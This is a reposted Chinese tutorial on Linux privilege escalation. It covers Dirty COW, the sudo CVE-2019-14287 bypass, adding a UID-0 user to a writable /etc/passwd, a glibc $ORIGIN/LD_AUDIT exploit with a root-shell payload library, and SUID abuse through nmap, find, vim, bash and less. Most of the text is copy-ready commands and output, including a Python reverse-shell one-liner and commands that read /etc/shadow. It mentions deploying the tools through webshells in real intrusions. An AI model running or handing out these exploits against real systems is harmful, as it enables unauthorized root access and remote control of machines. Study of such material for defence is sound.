Linux提权 - Go语言中文社区

Linux提权


1.脏牛漏洞提权

漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
exp:
https://github.com/gbonacini/CVE-2016-5195
https://github.com/FireFart/dirtycow
实验环境是在bee-bug靶场中进行
首先我们进入这个bee-bug靶场
然后发现不是root用户
首先要查看一下他的内核版本

uname -a

在这里插入图片描述发现大于2.6.22版本,发现可以进行脏牛提权
1.首先将他的那个脚本给下载下来进行导入(在真实的情况下,我们用菜刀或者蚁剑进行上传)
导入之后首先进行解压
使用命令

unzip dirtycow-master.zip

在这里插入图片描述2.解压完成之后,cd进入该脚本
发现有一个后缀为c的文件,在进行编译

gcc -pthread dirty.c -o chaosec -lcrypt

在这里插入图片描述
编译好之后可以看到是绿色的字体

./dirty chaosec //进行设置密码
rm -rf /tmp/passwd.bak

发现写入passwd的用户名是这个脚本特有的firefart
在这里插入图片描述
然后我们再直接切换刚才创建的用户,

su firefart
chaosec

在这里插入图片描述发现成功提权

/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: chaosec
Complete line:
firefart:fikfn/z5Hy5i6:0:0:pwned:/root:/bin/bash

mmap: 7f3f0eb8200

2.sudo提权-- CVE-2019-14287

漏洞影响版本
sudo < 1.8.28
利用条件
sudo的版本号<1.8.28
知道当前用户的密码
当前用户存在于sudo权限列表
第一点和第二点比较好容易理解,那么第三点当前用户存在于sudo权限列表这个怎么理解呢?
当 /etc/sudoers 文件存在如下形式的配置会导致漏洞的产生
chao ALL=(ALL, !root) ALL
这句话的含义就是:
允许 hack 用户以非 root 权限之外的所有用户权限运行命令,也就是说hack用户拥有root权限以外的所有权限。但是这样的配置应该会出现在比较少的特殊情况。
漏洞复现
1.首先创建一个普通用户
在这里插入图片描述我们在/etc/sudoers配置文件中加上这一行 (要是在root用户下进行修改)

chaosec ALL=(ALL, !root)  ALL

在这里插入图片描述然后再切换回普通用户
查看他的版本号

sudo -V

在这里插入图片描述
之后再whoami

sudo -u#-1 whoami   //让他报错之后爆出提权

在这里插入图片描述

sudo -u#-1 ls
sudo -u#-1 id

去执行这个普通用户执行不了的命令
在这里插入图片描述

3.Linux配置错误提权

首先准备一个centos7的终端低权限的来模拟咱们真实情况下的shell和提权
首先这个shell下的/etc/passwd必须是所用用户可写,就是666
我们在复现的过程要先切换到root用户
然后将/etc/passwd文件给与666权限
在这里插入图片描述
我们再切换chao这个用户回来查看,发现每个用户都有写入权限

1.写入一个用户,uid和gid为0的root用户,不过这个用户是我们创建的
有关于 /etc/passwd 文件里面数据的每个属性
我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
第一种方法
perl

perl -le 'print crypt("chaosec","addedsalt")'

在这里插入图片描述再将密码还有用户名一起写入

echo “chaosec:aduDz9sTizAD6:0:0:root:/root:/bin/bash” >>/etc/passwd

在这里插入图片描述
之后再用ssh连接上

ssh chaosec@192.168.43.229 

在这里插入图片描述发现成功提权成功
第二种方法
openssl

openssl passwd -salt salt chaosec

在这里插入图片描述再用同样的方法进行写入

echo "chaosec3:saVBfyIDZsGlg:0:0:root:root:/bin/bash">>/etc/passwd

验证一下

ssh chaosec3@192.168.43.229

在这里插入图片描述

4.内核2.6本地提权

可以利用此漏洞以根用户身份执行任意代码。
请注意,这是一个只对
安全专家和系统管理员。最终用户不需要
值得关注。
开发如下所示:
1.在/tmp中创建一个我们可以控制的目录

mkdir /tmp/exploit

2.链接到suid二进制文件,从而更改$ORIGIN的定义

ln /bin/ping /tmp/exploit/target

3.打开一个文件描述符到目标二进制文件(注意:有些用户很惊讶
学习exec可以用来操作当前文件的重定向
如果未指定命令,则返回shell。这就是下面发生的事情)。

exec 3< /tmp/exploit/target

如果上边不行就

exec 3> /tmp/exploit/target

4.现在应该可以通过/proc访问此描述符。

ls -l /proc/$$/fd/3

执行完成之后下边会显示:

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

5.删除以前创建的目录

rm -rf /tmp/exploit/

6./proc链接应该仍然存在,但现在将被标记为已删除。

ls -l /proc/$$/fd/3

执行完成会显示:

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

7.用有效负载DSO替换目录,从而使$ORIGIN成为dlopen()的有效目标。

cat > payload.c

将以下进行写入

void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}

8.编译:

gcc -w -fPIC -shared -o /tmp/exploit payload.c

9.查看权限

ls -l /tmp/exploit

10.现在强制/proc中的链接通过ldu AUDIT加载$ORIGIN。

LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

以下

sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)

漏洞解决方法(这是由GCC引发的一个漏洞):
升级:glibc

5.suid提权

SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行

为文件附上这样的权限命令:

chmod u+s

或者

chmod 4755
-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp  

像这样有s标志位的可执行权限的文件,运行后就是以ROOT用户执行

其中,大家熟知的具有提权功能的Linux可执行文件包括:

Nmap Vim find Bash More Less Nano cp

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;

** Nmap**

较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

nmap -V

在这里插入图片描述为了启动交互模式,可以使用Nmap参数“interactive”。
在这里插入图片描述
以下命令将提供一个提权后的shell

nmap> !sh sh-3.2# whoami root 

在这里插入图片描述
此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。

exploit/unix/local/setuid_nmap 

Find

find命令 -exec参数可以用来指定系统命令,如果有py环境,可以直接将root权限,py反弹

在这里插入图片描述py反弹命令:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

在这里插入图片描述在这里插入图片描述Vim

Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny /etc/shadow

在这里插入图片描述此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。

vim.tiny # Press ESC key :set shell=/bin/sh :shell 

在这里插入图片描述Bash

以下命令将以root身份打开一个bash shell

bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service) 

在这里插入图片描述Less

程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。

less /etc/passwd !/bin/sh 

在这里插入图片描述

版权声明:本文来源CSDN,感谢博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/qq_46527080/article/details/114084732
站方申明:本站部分内容来自社区用户分享,若涉及侵权,请联系站方删除。

0 条评论

请先 登录 后评论

官方社群

GO教程

猜你喜欢